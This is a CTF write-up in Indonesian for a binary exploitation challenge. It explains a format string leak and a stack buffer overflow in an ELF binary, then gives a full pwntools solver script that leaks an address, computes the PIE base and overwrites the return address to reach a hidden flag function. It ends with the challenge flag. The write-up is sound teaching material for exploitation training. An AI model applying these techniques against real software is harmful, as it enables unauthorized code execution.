Write-Up: Meow mi-miauuwwww
Kategori: Binary Exploitation Author: Lyler Poin: 100 Solves: 83 Solves
Deskripsi
Meow meow. me.. meow meowww. mi.. miauw mi mi, miauw miauwww. NYAAAAA!!!! nyanya. pur
Koneksi: nc chall-ctf.ara-its.id 54317
Attachment: meow
Analisis & Reconnaissance
File attachment yang diberikan adalah executable ELF 64-bit. Langkah pertama yang dilakukan adalah memberikan permission execute pada file tersebut menggunakan perintah chmod.
Setelah melakukan dekompilasi menggunakan Ghidra, diketahui bahwa fungsi main akan memanggil fungsi mi_miauw.
Terdapat dua celah keamanan utama pada fungsi mi_miauw:
1. Format String Vulnerability: Terdapat perintah printf(local_48) yang tidak menggunakan format specifier. Celah ini dapat dimanfaatkan untuk melakukan print pada address memory (membocorkan memori).
2. Buffer Overflow: Terdapat perintah fgets(local_48, 0x100, stdin). Variabel local_48 hanya dialokasikan sebesar 64 bytes, namun program mengizinkan input hingga melebihi batas tersebut (0x100).
Selain itu, ditemukan sebuah fungsi bernama meow yang bertugas untuk membaca dan mencetak isi dari file flag.txt. Namun, fungsi ini sama sekali tidak dipanggil dalam alur normal program.
Langkah Eksploitasi
Berdasarkan temuan di atas, eksploitasi dapat dilakukan dengan langkah-langkah berikut:
- Mendapatkan Leak Alamat: Gunakan opsi 1 pada program untuk membocorkan alamat dari stack. Berdasarkan hasil analisis
objdump, return address kembali ke fungsimainterletak pada posisi ke-17 di stack, sehingga kita dapat menggunakan payload%17$p. - Kalkulasi Base Address: Kurangi alamat yang berhasil dibocorkan dengan offset
0x1417. Offset ini merupakan posisi instruksi setelah pemanggilanmi_miauwdi dalam fungsimain. - Kalkulasi Alamat Target: Hitung alamat absolut untuk fungsi
meowdengan cara menambahkan base address dengan offset0x1249. - Menyusun Payload (Buffer Overflow):
- Padding: Kirimkan 64 byte karakter sembarang untuk mengisi buffer, ditambah 8 byte untuk menimpa RBP. Total padding adalah 72 byte.
- Ret Gadget: Tambahkan instruksi
retpada offset0x101auntuk menyelaraskan stack (stack alignment). - Target Address: Akhiri payload dengan menimpa Return Instruction Pointer (RIP) menggunakan alamat fungsi
meowyang telah dikalkulasi.
Solver Script
Berikut adalah script eksploitasi menggunakan Python (pwntools):
from pwn import *
# Connection details
host = 'chall-ctf.ara-its.id'
port = 54317
context.arch = 'amd64'
io = remote(host, port)
# STEP 1: LEAK THE BINARY ADDRESS
io.sendlineafter(b"meow meow meow ^^: ", b"1")
# %17$p points to the return address (0x1417 offset from base)
io.sendlineafter(b"intip: )", b"%17$p")
io.recvuntil(b"Meow, ")
leaked_addr = int(io.recvline().strip(), 16)
log.info(f"Leaked Return Address: {hex(leaked_addr)}")
# STEP 2: CALCULATE BASE AND TARGETS
# 0x1417 is the instruction in main after calling mi_miauw
binary_base = leaked_addr - 0x1417
meow_addr = binary_base + 0x1249
ret_gadget = binary_base + 0x101a
log.info(f"Binary Base: {hex(binary_base)}")
log.info(f"Target meow: {hex(meow_addr)}")
# STEP 3: THE BUFFER OVERFLOW
io.sendlineafter(b"meow meow meow ^^: ", b"2")
# Payload structure:
# [64 bytes buffer] + [8 bytes saved RBP] + [ret gadget] + [meow function]
payload = b"A" * 72
payload += p64(ret_gadget) # Alignment fix
payload += p64(meow_addr)
io.sendlineafter(b"RUAAAAA!!!!)", payload)
# Interaction to read the flag
io.interactive()
Flag
ARA7{ada_seorang_pria_lokal_menikahi_pohon_saw17}